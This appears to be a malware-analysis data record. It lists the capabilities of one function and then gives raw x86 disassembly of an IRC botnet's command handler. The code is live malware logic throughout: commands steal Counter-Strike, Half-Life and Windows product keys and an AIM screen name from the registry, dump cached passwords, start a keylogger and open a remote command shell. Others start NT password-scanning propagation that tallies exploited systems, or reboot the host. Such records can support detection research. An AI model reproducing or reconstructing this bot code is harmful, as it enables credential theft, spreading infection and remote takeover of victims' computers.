Function at 0x401cad
Capabilities:
Check for time delay via gettickcount
Create directory
Create process on windows
Create thread
Delete file
Get common file path
Get local ipv4 addresses
Get socket information
Move file
Query or enumerate registry value
Send data
Send data on socket
Send http request
Shutdown system
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x9d8
mov ebx, ecx
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x1ff
mov eax, dword [ebx + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x421520
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x1c], 1
jmp 0x401d66
mov dword [esp + 4], 0x421520
mov dword [esp], 0
call sym._strtok
mov edx, dword [ebp - 0x1c]
mov dword [ebp + edx*4 - 0x680], eax
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 5
jle 0x401d44
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], 0x45fcc0
call sym._memset
mov dword [0x45fd0c], 0
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._raw
call sym._strcmp
test eax, eax
jne 0x401dda
mov eax, dword [ebx + 0xc]
add eax, 4
mov dword [esp + 8], 0x1ff
mov dword [esp + 4], eax
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._strncpy
mov dword [ebx + 0x10], 0
mov eax, dword [ebx + 4]
mov dword [ebx], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._threads
call sym._strcmp
test eax, eax
jne 0x401f2c
mov dword [ebp - 0x1c], 0
jmp 0x401f18
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
test eax, eax
je 0x401f14
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x318
add edx, 0x461c00
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._i:__s___d_
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x258]
add eax, edx
mov word [eax], 0xa
cmp dword [ebx + 0x10], 0
jne 0x401eb5
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x258]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x401f14
cmp dword [ebx], 0
je 0x401f14
lea eax, [ebp - 0x258]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s
lea eax, [ebp - 0x458]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x458]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x458]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x28
jle 0x401e01
mov eax, 0
jmp 0x404587
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._spy
call sym._strcmp
test eax, eax
jne 0x401f6b
cmp dword [ebx + 0x10], 0
jne 0x401f6b
mov dword [esp + 4], str.Spy_on
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebx]
mov dword [0x45fd04], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._sspy
call sym._strcmp
test eax, eax
jne 0x401fa7
mov dword [esp + 4], str.Spy_off
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov dword [0x45fd04], 0
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._redspy
call sym._strcmp
test eax, eax
jne 0x401fe6
cmp dword [ebx + 0x10], 0
jne 0x401fe6
mov dword [esp + 4], str.Spy_on_port_red
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebx]
mov dword [0x45fd08], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._sredspy
call sym._strcmp
test eax, eax
jne 0x402022
mov dword [esp + 4], str.Spy_off
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov dword [0x45fd08], 0
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._unin_
call sym._strcmp
test eax, eax
jne 0x40204a
mov dword [esp], 1
call sym._writekeys
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._info
call sym._strcmp
test eax, eax
jne 0x40207a
mov eax, dword [ebx]
mov dword [esp + 4], eax
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sysinfo
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._pass
call sym._strcmp
test eax, eax
jne 0x4020f0
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call sym._cashedpasswords
test eax, eax
jne 0x4020d1
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._uptime
call sym._strcmp
test eax, eax
jne 0x402214
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov edx, 0x10624dd3
mul edx
mov eax, edx
shr eax, 6
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x3f47f
jle 0x4044b4
mov esi, dword [ebp - 0x58]
mov edx, 0xc22e4507
mov eax, esi
imul edx
lea eax, [edx + esi]
sar eax, 0x10
mov edx, eax
mov eax, esi
sar eax, 0x1f
mov ecx, edx
sub ecx, eax
imul eax, ecx, 0x15180
sub esi, eax
mov ecx, esi
mov edx, 0x91a2b3c5
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 0xb
mov edx, eax
mov eax, ecx
sar eax, 0x1f
mov esi, edx
sub esi, eax
imul eax, esi, 0xe10
mov esi, ecx
sub esi, eax
mov edx, 0x88888889
mov eax, esi
imul edx
lea eax, [edx + esi]
sar eax, 5
mov edx, eax
mov eax, esi
sar eax, 0x1f
mov edi, edx
sub edi, eax
mov esi, dword [ebp - 0x58]
mov edx, 0xc22e4507
mov eax, esi
imul edx
lea eax, [edx + esi]
sar eax, 0x10
mov edx, eax
mov eax, esi
sar eax, 0x1f
mov ecx, edx
sub ecx, eax
imul eax, ecx, 0x15180
sub esi, eax
mov ecx, esi
mov edx, 0x91a2b3c5
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 0xb
mov edx, eax
mov eax, ecx
sar eax, 0x1f
mov esi, edx
sub esi, eax
mov ecx, dword [ebp - 0x58]
mov edx, 0xc22e4507
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 0x10
sar ecx, 0x1f
mov edx, ecx
sub eax, edx
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4244e4
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._about
call sym._strcmp
test eax, eax
jne 0x40224e
mov dword [esp + 8], str.tGbot_nt_pub
mov dword [esp + 4], 0x424500
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._cstrike
call sym._strcmp
test eax, eax
jne 0x40232e
mov dword [ebp - 0x888], 0
lea eax, [ebp - 0x888]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareValveCounterStrikeSettings
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x88c], pe_nt_image_headers32
mov eax, dword [ebp - 0x888]
lea edx, [ebp - 0x88c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x9c0]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x424586
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x402316
lea eax, [ebp - 0x9c0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.CS_key:__s_r_n
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x888]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._ntscan
call sym._strcmp
test eax, eax
jne 0x402620
mov eax, dword [0x4697c4]
cmp eax, 1
jne 0x40236e
mov dword [esp + 4], str._NTScan_:_Already_scanning.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebp - 0x67c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._strtoul
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x678]
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._strtoul
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], 0x64
jbe 0x4023bd
mov dword [ebp - 0x24], 0x64
cmp dword [ebp - 0x24], 0
jne 0x4023ca
mov dword [ebp - 0x24], 1
cmp dword [ebp - 0x28], 0x78
jbe 0x4023d7
mov dword [ebp - 0x28], 0x78
cmp dword [ebp - 0x28], 0
jne 0x4023e4
mov dword [ebp - 0x28], 1
mov dword [esp], 0xa4
call sym._malloc
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
mov eax, dword [ebp - 0x50]
mov byte [eax + 0xc], 0
mov eax, dword [ebp - 0x674]
test eax, eax
je 0x40242d
mov eax, dword [ebp - 0x674]
mov edx, dword [ebp - 0x50]
add edx, 0xc
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov eax, dword [ebp - 0x50]
mov edx, dword [ebx]
mov dword [eax + 0xa0], edx
mov eax, dword [ebp - 0x50]
lea edx, [eax + 0x20]
mov dword [esp + 8], 0x7f
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strncpy
mov eax, dword [ebp - 0x674]
mov dword [esp + 4], 0x4245b3
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4024d2
mov dword [ebp - 0x8a0], 0x10
lea eax, [ebp - 0x8a0]
mov dword [esp + 8], eax
lea eax, [ebp - 0x89c]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_getsockname]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x898]
and eax, 0xffffff
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov edx, dword [ebp - 0x50]
add edx, 0xc
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov eax, dword [ebp - 0x50]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add ecx, 0xc
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], str._NTScan_:_Scanning_NT_Pass:__s__T:_d__M:_d_
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x10], 0x42449c
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._addthread
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x684]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._download_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x318
lea edx, [eax + 0x461d0c]
mov eax, dword [ebp - 0x34]
mov dword [edx], eax
lea eax, [ebp - 0x684]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._ntpass_main_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x674]
mov dword [esp + 8], eax
mov dword [esp + 4], str._NTScan_:_Scanning_Subnet_Mask__s.
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x10], 0x42449c
mov dword [esp + 0xc], 7
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._addthread
mov dword [0x4697c4], 1
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._ntstop
call sym._strcmp
test eax, eax
jne 0x4026ee
mov dword [0x4697c0], 0
mov dword [0x4697c4], 0
mov dword [ebp - 0x2c], 0
jmp 0x4026df
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
cmp eax, 7
jne 0x4026db
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x318
add eax, 0x461d0c
mov eax, dword [eax]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
test eax, eax
je 0x4026c5
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x318
add eax, 0x461cfc
mov dword [eax], 0
mov dword [esp + 4], str._NTScan_:_Scanning_stopped.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4026db
mov dword [esp + 4], str._NTScan_:_Failed_to_stopped_scan_thread.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], 0x28
jle 0x40265b
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._ntdel
call sym._strcmp
test eax, eax
jne 0x402760
mov dword [esp], str.payload.dat
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
test eax, eax
je 0x40273d
mov dword [esp + 8], str.payload.dat
mov dword [esp + 4], str._NTScan_:_Removed_payload_file:__s.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov dword [esp + 8], str.payload.dat
mov dword [esp + 4], str._NTScan_:_Failed_to_remove_payload_file:__s.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._ntstats
call sym._strcmp
test eax, eax
jne 0x40279b
mov eax, dword [0x4697c8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._NTScan_:_Stats___Exploited__d_Systems.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._halflife
call sym._strcmp
test eax, eax
jne 0x40287b
mov dword [ebp - 0x8a4], 0
lea eax, [ebp - 0x8a4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareValveHalf_LifeSettings
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x8a8], pe_nt_image_headers32
mov eax, dword [ebp - 0x8a4]
lea edx, [ebp - 0x8a8]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x9c0]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x424586
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x402863
lea eax, [ebp - 0x9c0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.HL_key:__s_r_n
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x8a4]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._win
call sym._strcmp
test eax, eax
jne 0x40295b
mov dword [ebp - 0x8ac], 0
lea eax, [ebp - 0x8ac]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersion
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x8b0], pe_nt_image_headers32
mov eax, dword [ebp - 0x8ac]
lea edx, [ebp - 0x8b0]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x9c0]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProductId
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x402943
lea eax, [ebp - 0x9c0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Windows_key:__s_r_n
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x8ac]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._aim
call sym._strcmp
test eax, eax
jne 0x402a3b
mov dword [ebp - 0x8b4], 0
lea eax, [ebp - 0x8b4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareAmerica_OnlineAOL_Instant_Messenger__TM_CurrentVersionLogin
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x8b8], pe_nt_image_headers32
mov eax, dword [ebp - 0x8b4]
lea edx, [ebp - 0x8b8]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x9c0]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Screen_Name
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x402a23
lea eax, [ebp - 0x9c0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42479c
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x8b4]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._startlog
call sym._strcmp
test eax, eax
jne 0x402bf5
mov eax, dword [0x460e04]
cmp eax, 1
jne 0x402a83
mov dword [esp + 8], 0x460e20
mov dword [esp + 4], str.keys_log__s_use__stopkeylogger__to_stop
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
cmp dword [ebx + 0x10], 0
je 0x402abc
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x460e20
call sym._sprintf
mov dword [esp + 8], 0x460e20
mov dword [esp + 4], str.Send:__s
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x402b0a
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], 0x460e20
call sym._memset
mov dword [esp + 8], 0x6720
mov dword [esp + 4], 0
mov dword [esp], 0x42a300
call sym._memset
mov dword [esp + 4], str.Send:_DCC_chat
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov dword [0x460e04], 1
mov eax, dword [ebx]
mov dword [0x460e08], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
jmp 0x402b4d
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
cmp eax, 2
jne 0x402b49
mov dword [ebp - 0x30], 1
jmp 0x402b53
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x14
jle 0x402b2b
cmp dword [ebp - 0x30], 0
jne 0x402be6
lea eax, [ebp - 0x684]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._keylogger_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
mov dword [esp + 8], 0x460e20
mov dword [esp + 4], str.Log_to__s
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x10], 0x42449c
mov dword [esp + 0xc], 2
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._addthread
mov dword [0x460e04], 1
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._stoplog
call sym._strcmp
test eax, eax
jne 0x402c4d
mov dword [0x460e04], 0
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], 0x460e20
call sym._memset
mov dword [esp + 4], str.Logger_off
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._killclones
call sym._strcmp
test eax, eax
jne 0x402cec
mov dword [ebp - 0x1c], 0
jmp 0x402cbb
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x210
add eax, 0x42a300
mov eax, dword [eax]
cmp eax, 1
jne 0x402cb7
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
test eax, eax
je 0x402cb7
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x31
jle 0x402c71
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._clones
call sym._strcmp
test eax, eax
jne 0x402d1b
mov eax, dword [ebx + 0xc]
add eax, 7
mov dword [esp], eax
call sym._clone_send
mov eax, 0
jmp 0x404587
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._clone
call sym._strcmp
test eax, eax
jne 0x402d81
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
mov esi, eax
mov eax, dword [ebp - 0x678]
mov dword [esp], eax
call sym._atoi
mov edx, dword [ebp - 0x67c]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._load_clones
mov dword [esp + 4], 0x424400
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._listproc
call sym._strcmp
test eax, eax
jne 0x402e07
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call sym._listProcesses
test eax, eax
jne 0x402de8
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._recon
call sym._strcmp
test eax, eax
jne 0x402e55
cmp dword [ebx + 0x10], 0
je 0x402e55
mov dword [esp + 0xc], 0
mov dword [esp + 8], 5
mov dword [esp + 4], str.QUIT_n
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 2
jmp 0x404587
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._discon
call sym._strcmp
test eax, eax
jne 0x402ec6
cmp dword [ebx + 0x10], 0
je 0x402ec6
mov eax, dword [ebp - 0x67c]
test eax, eax
je 0x402e95
mov eax, dword [ebp - 0x67c]
mov dword [esp], eax
call sym._atoi
imul eax, eax, 0x3e8
mov dword [0x420450], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 5
mov dword [esp + 4], str.QUIT_n
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 3
jmp 0x404587
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._quit
call sym._strcmp
test eax, eax
jne 0x402ee7
mov eax, 1
jmp 0x404587
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._reboot
call sym._strcmp
test eax, eax
jne 0x402f60
mov dword [esp + 4], 0
mov dword [esp], 4
mov eax, dword [sym.imp.USER32.dll_ExitWindowsEx]
call eax
sub esp, 8
test eax, eax
jne 0x402f3a
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
lea eax, [ebp - 0x258]
mov dword [eax], 0x54495551
mov dword [eax + 4], 0x65794220
mov dword [eax + 6], 0x42206579
mov dword [eax + 0xa], 0xa6579
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._opencmd
call sym._strcmp
test eax, eax
jne 0x402fdc
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call sym._open_cmd
cmp eax, 0xffffffff
jne 0x402fac
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
lea eax, [ebp - 0x258]
movdqu xmm0, xmmword [str.cmd_open_type__cmd_help__for_comSearsing_for_pas]
movups xmmword [eax], xmm0
movdqu xmm0, xmmword [0x4253b0]
movups xmmword [eax + 0x10], xmm0
mov dword [eax + 0x1e], 0x616d6d6f
mov dword [eax + 0x22], 0x73646e
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._cmd
call sym._strcmp
test eax, eax
jne 0x4030d0
mov eax, dword [ebp - 0x67c]
test eax, eax
je 0x403042
mov eax, dword [ebx + 0xc]
mov dword [esp], eax
